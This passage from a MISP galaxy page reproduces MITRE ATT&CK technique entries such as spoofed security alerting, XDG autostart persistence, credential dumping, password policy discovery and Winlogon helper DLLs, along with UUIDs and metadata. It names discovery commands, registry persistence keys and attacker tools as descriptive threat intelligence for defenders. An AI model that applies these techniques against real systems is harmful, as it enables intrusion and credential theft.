| kill_chain | ['attack-Azure-AD:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Azure-AD:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Azure-AD:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Cloud Service: Cloud Service Modification'] |
| mitre_platforms | ['Azure AD', 'SaaS', 'IaaS'] |
Related clusters
To see the related clusters, click here.
Spoof Security Alerting - T1562.011
Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.
Rather than or in addition to Indicator Blocking, an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., Disable or Modify Tools). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.
For example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)
Internal MISP references
UUID bef8aaee-961d-4359-a308-4c2182bcedff which can be used as unique global reference for Spoof Security Alerting - T1562.011 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.011 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Process: Process Creation', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Ignore Process Interrupts - T1564.011
Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.
Adversaries may invoke processes using nohup, PowerShell -ErrorAction SilentlyContinue, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.
Hiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.
Internal MISP references
UUID 4a2975db-414e-4c0c-bd92-775987514b4b which can be used as unique global reference for Ignore Process Interrupts - T1564.011 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/011 - webarchive
- https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference - webarchive
- https://linux.die.net/man/1/nohup - webarchive
- https://man7.org/linux/man-pages/man7/signal.7.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.011 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
XDG Autostart Entries - T1547.013
Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (.desktop) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)
Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the Exec directive in the .desktop configuration file. When the user’s desktop environment is loaded at user login, the .desktop files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the /etc/xdg/autostart directory while the user entries are located in the ~/.config/autostart directory.
Adversaries may combine this technique with Masquerading to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)
Internal MISP references
UUID e0232cb0-ded5-4c2e-9dc7-2893142a5c11 which can be used as unique global reference for XDG Autostart Entries - T1547.013 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1547/013 - webarchive
- https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/ - webarchive
- https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html - webarchive
- https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.013 |
| kill_chain | ['attack-Linux:persistence', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Identify business processes/tempo - T1280
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)
Internal MISP references
UUID 1f82ef59-b7da-4cd3-a41c-2e80f80f084f which can be used as unique global reference for Identify business processes/tempo - T1280 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1280 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
System Owner/User Discovery - T1033
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.
On network devices, Network Device CLI commands such as show users and show ssh can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)
Internal MISP references
UUID 03d7999c-1f4c-42cc-8373-e7690d318104 which can be used as unique global reference for System Owner/User Discovery - T1033 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1033 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Access', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: OS API Execution', 'Process: Process Access', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Disguise Root/Jailbreak Indicators - T1408
An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).
Internal MISP references
UUID b332a960-3c04-495a-827f-f17a5daed3a6 which can be used as unique global reference for Disguise Root/Jailbreak Indicators - T1408 in MISP communities and other software using the MISP galaxy
External references
- http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf - webarchive
- http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions - webarchive
- https://attack.mitre.org/techniques/T1408 - webarchive
- https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1408 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Obtain templates/branding materials - T1281
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)
Internal MISP references
UUID 68b45999-bb0c-4829-bbd0-75d6dac57c94 which can be used as unique global reference for Obtain templates/branding materials - T1281 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1281 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Research relevant vulnerabilities/CVEs - T1291
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)
Internal MISP references
UUID abd5bed1-4c12-45de-a623-ab8dc4ff862a which can be used as unique global reference for Research relevant vulnerabilities/CVEs - T1291 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1291 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Conduct cost/benefit analysis - T1226
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)
Internal MISP references
UUID 51bca707-a806-49bf-91e0-03885b0ac85c which can be used as unique global reference for Conduct cost/benefit analysis - T1226 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1226 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Assess KITs/KIQs benefits - T1229
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.
Internal MISP references
UUID ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5 which can be used as unique global reference for Assess KITs/KIQs benefits - T1229 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1229 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Determine approach/attack vector - T1245
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
Internal MISP references
UUID d45fe3c2-0688-43b9-ac07-7eb86f575e93 which can be used as unique global reference for Determine approach/attack vector - T1245 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1245 |
| kill_chain | ['pre-attack:target-selection'] |
Mine technical blogs/forums - T1257
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)
Internal MISP references
UUID a54a7708-8f64-45f3-ad51-1abf976986a0 which can be used as unique global reference for Mine technical blogs/forums - T1257 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1257 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Unused/Unsupported Cloud Regions - T1535
Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.
Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.
A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.
An example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
Internal MISP references
UUID 59bd0dec-f8b2-4b9a-9141-37a1e6899761 which can be used as unique global reference for Unused/Unsupported Cloud Regions - T1535 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1535 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Instance: Instance Creation', 'Instance: Instance Metadata'] |
| mitre_platforms | ['IaaS'] |
Search Open Websites/Domains - T1593
Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)
Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).
Internal MISP references
UUID a0e6614a-7740-4b24-bd65-f1bde09fc365 which can be used as unique global reference for Search Open Websites/Domains - T1593 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1593 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Obtain booter/stressor subscription - T1396
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)
Internal MISP references
UUID 3d1488a6-59e6-455a-8b80-78b53edc33fe which can be used as unique global reference for Obtain booter/stressor subscription - T1396 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1396 - webarchive
- https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/ - webarchive
- https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/ - webarchive
- https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1396 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Application Window Discovery - T1010
Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.(Citation: ESET Grandoreiro April 2020)
Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.
Internal MISP references
UUID 4ae4f953-fe58-4cc8-a327-33257e30a830 which can be used as unique global reference for Application Window Discovery - T1010 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1010 |
| kill_chain | ['attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Linux:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
OS Credential Dumping - T1003
Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform Lateral Movement and access restricted information.
Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
Internal MISP references
UUID 0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 which can be used as unique global reference for OS Credential Dumping - T1003 in MISP communities and other software using the MISP galaxy
External references
- http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - webarchive
- https://adsecurity.org/?p=1729 - webarchive
- https://attack.mitre.org/techniques/T1003 - webarchive
- https://github.com/mattifestation/PowerSploit - webarchive
- https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf - webarchive
- https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea - webarchive
- https://msdn.microsoft.com/library/cc228086.aspx - webarchive
- https://msdn.microsoft.com/library/cc237008.aspx - webarchive
- https://msdn.microsoft.com/library/cc245496.aspx - webarchive
- https://msdn.microsoft.com/library/dd207691.aspx - webarchive
- https://wiki.samba.org/index.php/DRSUAPI - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Access', 'Command: Command Execution', 'File: File Access', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: OS API Execution', 'Process: Process Access', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Winlogon Helper DLL - T1004
Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.
Internal MISP references
UUID 514ede4c-78b3-4d78-a38b-daddf6217a79 which can be used as unique global reference for Winlogon Helper DLL - T1004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1004 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Modify System Partition - T1400
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.
Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.
Internal MISP references
UUID c5089859-b21f-40a3-8be4-63e381b8b1c0 which can be used as unique global reference for Modify System Partition - T1400 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1400 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:persistence', 'mobile-attack-iOS:persistence', 'mobile-attack-Android:impact', 'mobile-attack-iOS:impact'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Compile After Delivery - T1500
Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to Obfuscated Files or Information, text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Spearphishing Attachment. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
Internal MISP references
UUID cf7b3a06-8b42-4c33-bbe9-012120027925 which can be used as unique global reference for Compile After Delivery - T1500 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1500 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/ - webarchive
- https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1500 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Direct Volume Access - T1006
Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
Utilities, such as NinjaCopy, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as vssadmin, wbadmin, and esentutl) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)
Internal MISP references
UUID 0c8ab3eb-df48-4b9c-ace7-beacaac81cc5 which can be used as unique global reference for Direct Volume Access - T1006 in MISP communities and other software using the MISP galaxy
External references
- http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin - webarchive
- https://attack.mitre.org/techniques/T1006 - webarchive
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Esentutl/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1006 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Access', 'File: File Creation'] |
| mitre_platforms | ['Windows', 'Network'] |
System Service Discovery - T1007
Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.
Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Internal MISP references
UUID 322bad5a-1c49-4d23-ab79-76d641794afa which can be used as unique global reference for System Service Discovery - T1007 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1007 |
| kill_chain | ['attack-Windows:discovery', 'attack-macOS:discovery', 'attack-Linux:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Taint Shared Content - T1080
Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)
Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.
Internal MISP references
UUID 246fd3c7-f5e3-466d-8787-4c13d9e3b61c which can be used as unique global reference for Taint Shared Content - T1080 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1080 |
| kill_chain | ['attack-Windows:lateral-movement', 'attack-Office-365:lateral-movement', 'attack-SaaS:lateral-movement', 'attack-Linux:lateral-movement', 'attack-macOS:lateral-movement'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Network Share: Network Share Access', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Office 365', 'SaaS', 'Linux', 'macOS'] |
Security Support Provider - T1101
Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.
(Citation: Graeber 2014)
Internal MISP references
UUID 6c174520-beea-43d9-aac6-28fb77f3e446 which can be used as unique global reference for Security Support Provider - T1101 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1101 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Peripheral Device Discovery - T1120
Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Internal MISP references
UUID 348f1eef-964b-4eb6-bb53-69b3dcb0c643 which can be used as unique global reference for Peripheral Device Discovery - T1120 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1120 |
| kill_chain | ['attack-Windows:discovery', 'attack-macOS:discovery', 'attack-Linux:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Password Policy Discovery - T1201
Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).
Internal MISP references
UUID b6075259-dba3-44e9-87c7-e954f37ec0d5 which can be used as unique global reference for Password Policy Discovery - T1201 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1201 - webarchive
- https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html - webarchive
- https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu - webarchive
- https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1201 |
| kill_chain | ['attack-Windows:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-IaaS:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Metadata'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'IaaS', 'Network'] |
Analyze business processes - T1301
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)
Internal MISP references
UUID 57619ab3-f6a5-43c8-8dd1-b0b8a986a870 which can be used as unique global reference for Analyze business processes - T1301 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1301 |
| kill_chain | ['pre-attack:organizational-weakness-identification'] |
Install Root Certificate - T1130
Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
